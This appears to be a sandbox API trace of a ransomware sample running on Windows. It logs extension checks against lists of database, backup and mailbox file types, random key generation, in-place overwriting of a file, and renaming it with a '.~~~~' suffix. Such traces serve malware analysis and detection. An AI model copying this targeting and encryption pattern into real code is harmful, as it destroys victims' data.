	[0062.458] lstrlenW (lpString=".dbt") returned 4
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".dbt") returned 0x0
	[0062.458] lstrlenW (lpString=".db") returned 3
	[0062.458] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".db") returned 0x0
	[0062.458] lstrlenW (lpString=".TXT") returned 4
	[0062.459] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".TXT") returned 0x0
	[0062.459] lstrlenW (lpString=".MDF") returned 4
	[0062.459] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".MDF") returned 0x0
	[0062.459] lstrlenW (lpString=".bdb") returned 4
	[0062.459] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".bdb") returned 0x0
	[0062.459] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0062.459] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0062.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e3f0
	[0062.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0062.459] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39d948) returned 1
	[0062.460] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0062.460] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0062.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0062.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0062.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b0e20
	[0062.460] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=18245038027) returned 1
	[0062.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x926e0d70, dwHighDateTime=0x1d60e1e)) 
	[0062.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0062.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0062.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0062.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0062.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0062.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0062.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39e528
	[0062.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0062.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e5d0
	[0062.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0062.461] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0062.461] GetLastError () returned 0x0
	[0062.461] SetLastError (dwErrCode=0x0) 
	[0062.461] GetLastError () returned 0x0
	[0062.461] SetLastError (dwErrCode=0x0) 
	[0062.461] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0062.461] GetLastError () returned 0x0
	[0062.461] SetLastError (dwErrCode=0x0) 
	[0062.461] GetLastError () returned 0x0
	[0062.461] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.462] SetLastError (dwErrCode=0x0) 
	[0062.462] GetLastError () returned 0x0
	[0062.463] SetLastError (dwErrCode=0x0) 
	[0062.463] GetLastError () returned 0x0
	[0062.463] SetLastError (dwErrCode=0x0) 
	[0062.463] GetLastError () returned 0x0
	[0062.463] SetLastError (dwErrCode=0x0) 
	[0062.463] GetLastError () returned 0x0
	[0062.463] SetLastError (dwErrCode=0x0) 
	[0062.463] GetLastError () returned 0x0
	[0062.463] SetLastError (dwErrCode=0x0) 
	[0062.463] GetLastError () returned 0x0
	[0062.463] SetLastError (dwErrCode=0x0) 
	[0062.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5d0 | out: hHeap=0x300000) returned 1
	[0062.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b2038
	[0062.464] ReadFile (in: hFile=0x118, lpBuffer=0x3b2038, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0062.533] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0062.534] WriteFile (in: hFile=0x118, lpBuffer=0x3b2038*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0062.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2038 | out: hHeap=0x300000) returned 1
	[0062.536] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0062.536] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0062.548] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0062.548] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0062.548] CloseHandle (hObject=0x118) returned 1
	[0066.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0066.050] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.~~~~")) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0066.051] GetLastError () returned 0x0
	[0066.051] SetLastError (dwErrCode=0x0) 
	[0066.051] GetLastError () returned 0x0
	[0066.051] SetLastError (dwErrCode=0x0) 
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362380 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362360 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b90 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0e20 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3f0 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d7f8 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d8a0 | out: hHeap=0x300000) returned 1
	[0066.051] RtlWakeConditionVariable () returned 0x365f70
	[0066.051] GetCurrentThreadId () returned 0xaf0
	[0066.051] GetCurrentThreadId () returned 0xaf0
	[0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa528 | out: hHeap=0x300000) returned 1
	[0066.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cab0 | out: hHeap=0x300000) returned 1
	[0066.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a53b0
	[0066.052] lstrlenW (lpString=".scr") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".scr") returned 0x0
	[0066.052] lstrlenW (lpString=".cmd") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".cmd") returned 0x0
	[0066.052] lstrlenW (lpString=".dll") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dll") returned 0x0
	[0066.052] lstrlenW (lpString=".bat") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".bat") returned 0x0
	[0066.052] lstrlenW (lpString=".cpl") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".cpl") returned 0x0
	[0066.052] lstrlenW (lpString=".sys") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".sys") returned 0x0
	[0066.052] lstrlenW (lpString=".msc") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".msc") returned 0x0
	[0066.052] lstrlenW (lpString=".com") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".com") returned 0x0
	[0066.052] lstrlenW (lpString=".lnk") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".lnk") returned 0x0
	[0066.052] lstrlenW (lpString=".msp") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".msp") returned 0x0
	[0066.052] lstrlenW (lpString=".pif") returned 4
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".pif") returned 0x0
	[0066.052] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0066.052] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0066.053] lstrlenW (lpString=".sqb") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".sqb") returned 0x0
	[0066.053] lstrlenW (lpString=".ost") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".ost") returned 0x0
	[0066.053] lstrlenW (lpString=".txt") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".txt") returned 0x0
	[0066.053] lstrlenW (lpString=".mdt") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".mdt") returned 0x0
	[0066.053] lstrlenW (lpString=".BDB") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".BDB") returned 0x0
	[0066.053] lstrlenW (lpString=".eql") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".eql") returned 0x0
	[0066.053] lstrlenW (lpString=".DBF") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DBF") returned 0x0
	[0066.053] lstrlenW (lpString=".EQL") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".EQL") returned 0x0
	[0066.053] lstrlenW (lpString=".FDB") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".FDB") returned 0x0
	[0066.053] lstrlenW (lpString=".EDB") returned 4
	[0066.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".EDB") returned 0x0
	[0066.054] lstrlenW (lpString=".DACPAC") returned 7
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0066.054] lstrlenW (lpString=".VHD") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".VHD") returned 0x0
	[0066.054] lstrlenW (lpString=".DBV") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DBV") returned 0x0
	[0066.054] lstrlenW (lpString=".dacpac") returned 7
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dacpac") returned 0x0
	[0066.054] lstrlenW (lpString=".sdf") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".sdf") returned 0x0
	[0066.054] lstrlenW (lpString=".accdb") returned 6
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".accdb") returned 0x0
	[0066.054] lstrlenW (lpString=".DBX") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DBX") returned 0x0
	[0066.054] lstrlenW (lpString=".MDT") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".MDT") returned 0x0
	[0066.054] lstrlenW (lpString=".SQB") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".SQB") returned 0x0
	[0066.054] lstrlenW (lpString=".vhd") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".vhd") returned 0x0
	[0066.054] lstrlenW (lpString=".bac") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".bac") returned 0x0
	[0066.054] lstrlenW (lpString=".mdf") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".mdf") returned 0x0
	[0066.054] lstrlenW (lpString=".BAK") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".BAK") returned 0x0
	[0066.054] lstrlenW (lpString=".BAC") returned 4
	[0066.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".BAC") returned 0x0
	[0066.055] lstrlenW (lpString=".dbs") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dbs") returned 0x0
	[0066.055] lstrlenW (lpString=".vhdx") returned 5
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".vhdx") returned 0x0
	[0066.055] lstrlenW (lpString=".NDF") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".NDF") returned 0x0
	[0066.055] lstrlenW (lpString=".dat") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dat") returned 0x0
	[0066.055] lstrlenW (lpString=".DBS") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DBS") returned 0x0
	[0066.055] lstrlenW (lpString=".CKP") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".CKP") returned 0x0
	[0066.055] lstrlenW (lpString=".edb") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".edb") returned 0x0
	[0066.055] lstrlenW (lpString=".PST") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".PST") returned 0x0
	[0066.055] lstrlenW (lpString=".dbf") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dbf") returned 0x0
	[0066.055] lstrlenW (lpString=".SQL") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".SQL") returned 0x0
	[0066.055] lstrlenW (lpString=".pst") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".pst") returned 0x0
	[0066.055] lstrlenW (lpString=".dbv") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dbv") returned 0x0
	[0066.055] lstrlenW (lpString=".SDF") returned 4
	[0066.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".SDF") returned 0x0
	[0066.055] lstrlenW (lpString=".dtxs") returned 5
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dtxs") returned 0x0
	[0066.056] lstrlenW (lpString=".db3") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".db3") returned 0x0
	[0066.056] lstrlenW (lpString=".OST") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".OST") returned 0x0
	[0066.056] lstrlenW (lpString=".dbx") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dbx") returned 0x0
	[0066.056] lstrlenW (lpString=".DB3") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DB3") returned 0x0
	[0066.056] lstrlenW (lpString=".DAT") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DAT") returned 0x0
	[0066.056] lstrlenW (lpString=".VHDX") returned 5
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".VHDX") returned 0x0
	[0066.056] lstrlenW (lpString=".ndf") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".ndf") returned 0x0
	[0066.056] lstrlenW (lpString=".DB") returned 3
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DB") returned 0x0
	[0066.056] lstrlenW (lpString=".sql") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".sql") returned 0x0
	[0066.056] lstrlenW (lpString=".MYD") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".MYD") returned 0x0
	[0066.056] lstrlenW (lpString=".DBT") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DBT") returned 0x0
	[0066.056] lstrlenW (lpString=".ACCDB") returned 6
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0066.056] lstrlenW (lpString=".fdb") returned 4
	[0066.056] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".fdb") returned 0x0
	[0066.057] lstrlenW (lpString=".bak") returned 4
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".bak") returned 0x0
	[0066.057] lstrlenW (lpString=".myd") returned 4
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".myd") returned 0x0
	[0066.057] lstrlenW (lpString=".DTXS") returned 5
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".DTXS") returned 0x0
	[0066.057] lstrlenW (lpString=".ckp") returned 4
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".ckp") returned 0x0
	[0066.057] lstrlenW (lpString=".dbt") returned 4
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".dbt") returned 0x0
	[0066.057] lstrlenW (lpString=".db") returned 3
	[0066.057] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi", lpSrch=".db") returned 0x0
	[0066.057] lstrlenW (lpString=".TXT") returned 4
